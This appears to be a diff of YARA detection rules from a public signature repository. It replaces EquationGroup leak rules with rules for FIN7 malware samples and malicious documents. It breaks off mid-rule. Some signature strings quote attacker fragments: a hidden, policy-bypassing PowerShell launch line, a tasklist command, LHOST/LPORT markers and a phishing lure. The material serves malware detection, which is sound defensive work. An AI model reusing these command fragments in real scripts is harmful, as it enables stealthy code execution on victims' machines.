-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Sldecoder : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_FIN7_Sample_Aug18_2 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects FIN7 malware sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1760e84b-fc40-5d60-9351-3a3134af9e9f"
-		date = "2017-04-15"
+		id = "885eebfe-2587-5744-ba0c-c74ced946050"
+		date = "2018-08-01"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3200-L3214"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "81a74169dc8f93f314f384bd859df07a4ffaaf430b221b440de922fad3497535"
+		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L32-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a46492383db5af8f60984b42c53a792632f836f1668fca2d564e0f1f1ed313f2"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b220f51ca56d9f9d7d899fa240d3328535f48184d136013fd808d8835919f9ce"
+		hash1 = "1513c7630c981e4b1d0d5a55809166721df4f87bb0fac2d2b8ff6afae187f01d"
 
 	strings:
-		$x1 = "Error in conversion. SlDecoder.exe <input filename> <output filename> at command line " fullword wide
-		$x2 = "KeyLogger_Data" fullword wide
+		$x1 = "Description: C:\\Users\\oleg\\Desktop\\" wide
+		$x2 = "/*|*| *  Copyright 2016 Microsoft, Industries.|*| *  All rights reserved.|*|" ascii
+		$x3 = "32, 40, 102, 105, 108, 101, 95, 112, 97, 116, 104, 41, 41, 32" ascii
+		$x4 = "83, 108, 101, 101, 112, 40, 51, 48, 48, 48, 41, 59, 102, 115" ascii
+		$x5 = "80, 80, 68, 65, 84, 65, 37, 34, 41, 44, 115, 104, 101, 108, 108" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
+		uint16(0)==0xcfd0 and filesize <2000KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Windows_Implant : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_FIN7_Maldoc_Aug18_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects malicious Doc from FIN7 campaign"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a82aac49-8843-5420-8b87-f3d7431bc63f"
-		date = "2017-04-15"
+		id = "f3c430e0-be9a-5c3f-9378-a20ef0492afb"
+		date = "2018-08-01"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3216-L3229"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5b6b349c98a328b4bbdd6d8718af8477c36ec219bb0076dd56998395d0ef5f32"
+		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L51-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f3ecf77a5f909361f4a6af5ca0f25ec85721570587500a8ce2ef203158472e47"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d38ce396926e45781daecd18670316defe3caf975a3062470a87c1d181a61374"
+		hash1 = "9c12591c850a2d5355be0ed9b3891ccb3f42e37eaf979ae545f2f008b5d124d6"
 
 	strings:
-		$s2 = "0#0)0/050;0M0Y0h0|0" fullword ascii
+		$s1 = "<photoshop:LayerText>If this document was downloaded from your email, please click  \"Enable editing\" from the yellow bar above" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <50KB and all of them )
+		filesize <800KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Msgkd_Msslu64_Msgki_Mssld : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_FIN7_Sample_Aug18_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects FIN7 samples mentioned in FireEye report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cb6d4098-8ede-58ba-9851-7c8b360fb606"
-		date = "2017-04-15"
+		id = "0fdd98e8-7536-5159-8085-da7388e5fff2"
+		date = "2018-08-01"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3231-L3256"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f61ce58356ffca197d4a2a4aae43414bcb8f2f284dbee818124dd450f4b50cb9"
+		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L66-L93"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5ff078f8cb93a841b68521cfbc120b18952c7ff5b56ab2f3b0eebf63a10aa572"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9ab667b7b5b9adf4ff1d6db6f804824a22c7cc003eb4208d5b2f12809f5e69d0"
-		hash2 = "320144a7842500a5b69ec16f81a9d1d4c8172bb92301afd07fb79bc0eca81557"
-		hash3 = "c10f4b9abee0fde50fe7c21b9948a2532744a53bb4c578630a81d2911f6105a3"
-		hash4 = "551174b9791fc5c1c6e379dac6110d0aba7277b450c2563e34581565609bc88e"
-		hash5 = "8419866c9058d738ebc1a18567fef52a3f12c47270f2e003b3e1242d86d62a46"
+		hash1 = "a1e95ac1bb684186e9fb5c67f75c7c26ddc8b18ebfdaf061742ddf1675e17d55"
+		hash2 = "dc645aae5d283fa175cf463a19615ed4d16b1d5238686245574d8a6a8b0fc8fa"
+		hash3 = "eebbce171dab636c5ac0bf0fd14da0e216758b19c0ce2e5c572d7e6642d36d3d"
 
 	strings:
-		$s1 = "PQRAPAQSTUVWARASATAUAVAW" fullword ascii
-		$s2 = "SQRUWVAWAVAUATASARAQAP" fullword ascii
-		$s3 = "iijymqp" fullword ascii
-		$s4 = "AWAVAUATASARAQI" fullword ascii
-		$s5 = "WARASATAUAVM" fullword ascii
-		$op1 = { 0c 80 30 02 48 83 c2 01 49 83 e9 01 75 e1 c3 cc }
-		$op2 = { e8 10 66 0d 00 80 66 31 02 48 83 c2 02 49 83 e9 }
-		$op3 = { 48 b8 53 a5 e1 41 d4 f1 07 00 48 33 }
+		$s1 = "\\par var console=\\{\\};console.log=function()\\{\\};" ascii
+		$s2 = "616e64792d7063" ascii
+		$x1 = "0043003a005c00550073006500720073005c0061006e00640079005c004400650073006b0074006f0070005c0075006e00700072006f0074006500630074" ascii
+		$x2 = "780065006300750074006500280022004f006e0020004500720072006f007200200052006500730075006d00650020004e006500780074003a0073006500" ascii
+		$x3 = "\\par \\tab \\tab \\tab sh.Run \"powershell.exe -NoE -NoP -NonI -ExecutionPolicy Bypass -w Hidden -File \" & pToPSCb, 0, False" fullword ascii
+		$x4 = "002e006c006e006b002d00000043003a005c00550073006500720073005c007400650073007400610064006d0069006e002e0054004500530054005c0044" ascii
+		$x5 = "005c00550073006500720073005c005400450053005400410044007e0031002e005400450053005c0041007000700044006100740061005c004c006f0063" ascii
+		$x6 = "6c00690063006100740069006f006e002200220029003a00650078006500630075007400650020007700700072006f0074006500630074002e0041006300" ascii
+		$x7 = "7374656d33325c6d736874612e657865000023002e002e005c002e002e005c002e002e005c00570069006e0064006f00770073005c005300790073007400" ascii
+		$x8 = "\\par \\tab \\tab sh.Run \"%comspec% /c tasklist >\"\"\" & tpath & \"\"\" 2>&1\", 0, true" fullword ascii
+		$x9 = "00720079007b006500760061006c0028002700770061006c006c003d004700650074004f0062006a0065006300740028005c005c0027005c005c00270027" ascii
+		$x10 = "006e00640079005c004400650073006b0074006f0070005c0075006e006c006f0063006b002e0064006f0063002e006c006e006b" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and 2 of ($s*) or all of ($op*))
+		uint16(0)==0x5c7b and filesize <3000KB and (1 of ($x*) or 2 of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Setcallback : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects sample from FIN7 report in August 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3c06fc74-2e75-5348-bb62-30c724de1414"
-		date = "2017-04-15"
+		id = "46c82d27-5683-5acd-9a3c-d69613091ecc"
+		date = "2018-08-01"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3258-L3272"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "63a17dd56874085753cae92f70d6248ceaac6eaea99fda0d3a551e4988a73895"
+		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L95-L108"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7144d4c7651e3fb288ef608fdff07af6cb223c90c34fb780d65184760386d5c7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a8854f6b01d0e49beeb2d09e9781a6837a0d18129380c6e1b1629bc7c13fdea2"
+		hash1 = "7f16cbe7aa1fbc5b8a95f9d123f45b7e3da144cb88db6e1da3eca38cf88660cb"
 
 	strings:
-		$s2 = "*NOTE: This version of SetCallback does not work with PeddleCheap versions prior" fullword ascii
-		$s3 = "USAGE: SetCallback <input file> <output file>" fullword ascii
+		$s1 = "Manche Enterprises Limited0" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and all of them )
+		uint16(0)==0x5a4d and filesize <800KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__Doublefeaturereader_Doublefeaturereader_0 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_2 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects sample from FIN7 report in August 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f662c961-80be-5453-86b1-c4d40ac5b732"
-		date = "2017-04-15"
+		id = "4522cd85-ba85-5afd-8600-1ebabfaf6d02"
+		date = "2018-08-01"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3274-L3293"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9049e1fe31917ecc27e57afecd5845afcd966aac83d386b7c0995c1e3378a0d0"
+		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L110-L124"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8e62c9488f211635ae30633a0d894b00e0ba2a7e7d4cb628117a166d4f0f9697"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "052e778c26120c683ee2d9f93677d9217e9d6c61ffc0ab19202314ab865e3927"
-		hash2 = "5db457e7c7dba80383b1df0c86e94dc6859d45e1d188c576f2ba5edee139d9ae"
+		hash1 = "60cd98fc4cb2ae474e9eab81cd34fd3c3f638ad77e4f5d5c82ca46f3471c3020"
 
 	strings:
-		$x1 = "DFReader.exe logfile AESKey [-j] [-o outputfilename]" fullword ascii
-		$x2 = "Double Feature Target Version" fullword ascii
-		$x3 = "DoubleFeature Process ID" fullword ascii
-		$op1 = { a1 30 21 41 00 89 85 d8 fc ff ff a1 34 21 41 00 }
+		$s1 = "constructor or from DllMain." fullword ascii
+		$s2 = "Network Software Ltd0" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 1 of them ) or (2 of them )
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__Vtuner_Vtuner_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_3 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects sample from FIN7 report in August 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3794f30b-39dc-59eb-9fd3-4c7837bfd47d"
-		date = "2017-04-15"
+		id = "0b0ce882-1c18-5741-bb71-0cef010dc778"
+		date = "2018-08-01"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3295-L3315"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8c161b36599b11264c31c54b94d6bdba53b3f13d27861ededc9f03bba394b775"
+		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L126-L140"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3f757bc4a6d46be85732fe33dd0a323c5774cbc1f0da2b984c5db14c1362745a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "3e6bec0679c1d8800b181f3228669704adb2e9cbf24679f4a1958e4cdd0e1431"
-		hash2 = "b0d2ebf455092f9d1f8e2997237b292856e9abbccfbbebe5d06b382257942e0e"
+		hash1 = "995b90281774798a376db67f906a126257d314efc21b03768941f2f819cf61a6"
 
 	strings:
-		$s1 = "Unable to get -w hash.  %x" fullword wide
-		$s2 = "!\"invalid instruction mnemonic constant Id3vil\"" fullword wide
-		$s4 = "Unable to set -w provider. %x" fullword wide
-		$op0 = { 2b c7 50 e8 3a 8c ff ff ff b6 c0 }
-		$op2 = { a1 8c 62 47 00 81 65 e0 ff ff ff 7f 03 d8 8b c1 }
+		$s1 = "cvzdfhtjkdhbfszngjdng" fullword ascii
+		$s2 = "sdfkjdfjfhgurgvncmnvmfdjdkfjdkfjdf" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and 2 of them )
+		uint16(0)==0x5a4d and filesize <50KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__Ecwi_ESKE_EVFR_RPC2_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_4 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects sample from FIN7 report in August 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6c653b0a-fda4-51d6-bf90-bd637547fe47"
-		date = "2017-04-15"
+		id = "bead79bb-28c2-59ed-985b-e44b41e7f66a"
+		date = "2018-08-01"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3317-L3336"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "73522034c6588fee090eff87602568371562bdbcbe781ee6e152f3b854514690"
+		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L142-L157"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cd8a33c4e4f626d744e03f48e093f6a45223c74088b03185833ece8034614ca4"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "c4152f65e45ff327dade50f1ac3d3b876572a66c1ce03014f2877cea715d9afd"
-		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
-		hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
-		hash4 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
+		hash1 = "4b5405fc253ed3a89c770096a13d90648eac10a7fb12980e587f73483a07aa4c"
 
 	strings:
-		$s1 = "Target is share name" fullword ascii
-		$s2 = "Could not make UdpNetbios header -- bailing" fullword ascii
-		$s3 = "Request non-NT session key" fullword ascii
+		$s1 = "c:\\file.dat" fullword wide
+		$s2 = "constructor or from DllMain." fullword ascii
+		$s3 = "lineGetCallIDs" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		uint16(0)==0x5a4d and filesize <700KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__EAFU_Ecwi_ESKE_EVFR_RPC2_4 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_5 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects sample from FIN7 report in August 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9dc9ed95-5233-56e1-b8f1-4f27f43e7e43"
-		date = "2017-04-15"
+		id = "6c810662-9ceb-5c3b-8f83-5a4aa2a5d461"
+		date = "2018-08-01"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3338-L3361"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ed6e0e4e5a0849aad64bbc47c047f3fe388052d0ebe89de0257d4422fb39be21"
+		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L159-L173"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "893e144d86025db750b32ae69964578ec92862face706339a5bafb393e3c7091"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "3e181ca31f1f75a6244b8e72afaa630171f182fbe907df4f8b656cc4a31602f6"
-		hash2 = "c4152f65e45ff327dade50f1ac3d3b876572a66c1ce03014f2877cea715d9afd"
-		hash3 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
-		hash4 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
-		hash5 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
+		hash1 = "7789a3d7d05c30b4efaf3f2f5811804daa56d78a9a660968a4f1f9a78a9108a0"
 
 	strings:
-		$x1 = "* Listening Post DLL %s() returned error code %d." fullword ascii
-		$s1 = "WsaErrorTooManyProcesses" fullword ascii
-		$s2 = "NtErrorMoreProcessingRequired" fullword ascii
-		$s3 = "Connection closed by remote host (TCP Ack/Fin)" fullword ascii
-		$s4 = "ServerErrorBadNamePassword" fullword ascii
+		$s1 = "x0=%d, y0=%d, x1=%d, y1=%d" fullword ascii
+		$s3 = "sdfkjdfjfhgurgvncmnvmfdjdkfjdkfjdf" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of ($s*) or 1 of ($x*))
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__Sendcftrigger_Sendpktrigger_6 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_6 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects sample from FIN7 report in August 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "658d6f7d-2164-5e43-b5a5-d9bea9cd2e27"
-		date = "2017-04-15"
+		id = "2b2e6b74-5d71-5656-8faf-37c94607d93e"
+		date = "2018-08-01"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3363-L3379"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4fb290bdf15e0701b6d543e1f978011046abe23e58c790ee1b992a5e0443a271"
+		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L175-L198"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "33db8e61b6220d9e16191228573d3d375cce9528241dcf1ad74d641f0959f03b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "3bee31b9edca8aa010a4684c2806b0ca988b2bcc14ad0964fec4f11f3f6fb748"
-		hash2 = "2f9c7a857948795873a61f4d4f08e1bd0a41e3d6ffde212db389365488fa6e26"
+		hash1 = "1439d301d931c8c4b00717b9057b23f0eb50049916a48773b17397135194424a"
 
 	strings:
-		$s4 = "* Failed to connect to destination - %u" fullword wide
-		$s6 = "* Failed to convert destination address into sockaddr_storage values" fullword wide
+		$s1 = "coreServiceShell.exe" fullword ascii
+		$s2 = "PtSessionAgent.exe" fullword ascii
+		$s3 = "TiniMetI.exe" fullword ascii
+		$s4 = "PwmSvc.exe" fullword ascii
+		$s5 = "uiSeAgnt.exe" fullword ascii
+		$s7 = "LHOST:" fullword ascii
+		$s8 = "TRANSPORT:" fullword ascii
+		$s9 = "LPORT:" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <20KB and (pe.exports("TiniStart") or 4 of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__Addresource : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_7 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects sample from FIN7 report in August 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cbba38fa-a906-5463-ae46-2b9c9f1bf8e0"
-		date = "2017-04-15"
+		id = "96943654-a6e8-59c0-ab6c-1ab3906a5d05"
+		date = "2018-08-01"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3381-L3398"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e59863ac7f1147cdbc34cbd2b09183487999d9f01974279c7ccc0c5af7a99976"
+		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L200-L214"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "212bc13d22d7bc6b0ef10ae034ea09c7ea0d0e66afd212fb55c09cf43344c2ec"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "e83e4648875d4c4aa8bc6f3c150c12bad45d066e2116087cdf78a4a4efbab6f0"
-		hash2 = "5a04d65a61ef04f5a1cbc29398c767eada367459dc09c54c3f4e35015c71ccff"
+		hash1 = "ce8ce35f85406cd7241c6cc402431445fa1b5a55c548cca2ea30eeb4a423b6f0"
 
 	strings:
-		$s1 = "%s cm 10 2000 \"c:\\MY DIR\\myapp.exe\" c:\\MyResourceData.dat" fullword ascii
-		$s2 = "<PE path> - the path to the PE binary to which to add the resource." fullword ascii
-		$s3 = "Unable to get path for target binary." fullword ascii
+		$s1 = "libpng version" fullword ascii
+		$s2 = "sdfkjdfjfhgurgvncmnvmfdjdkfjdkfjdf" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 2 of them )
+		uint16(0)==0x5a4d and filesize <800KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ESKE_RPC2_8 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_8 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects sample from FIN7 report in August 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "694a1afc-7fea-58ac-b736-44957bbc0334"
-		date = "2017-04-15"
+		id = "1eb9810e-2b50-5a93-925e-073bb17e1e6c"
+		date = "2018-08-01"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3400-L3416"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1fa706fb7f138d679421fe6c5b29d6bf93893adc8bffe9dffaafa728c1b2d1d5"
+		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L216-L229"
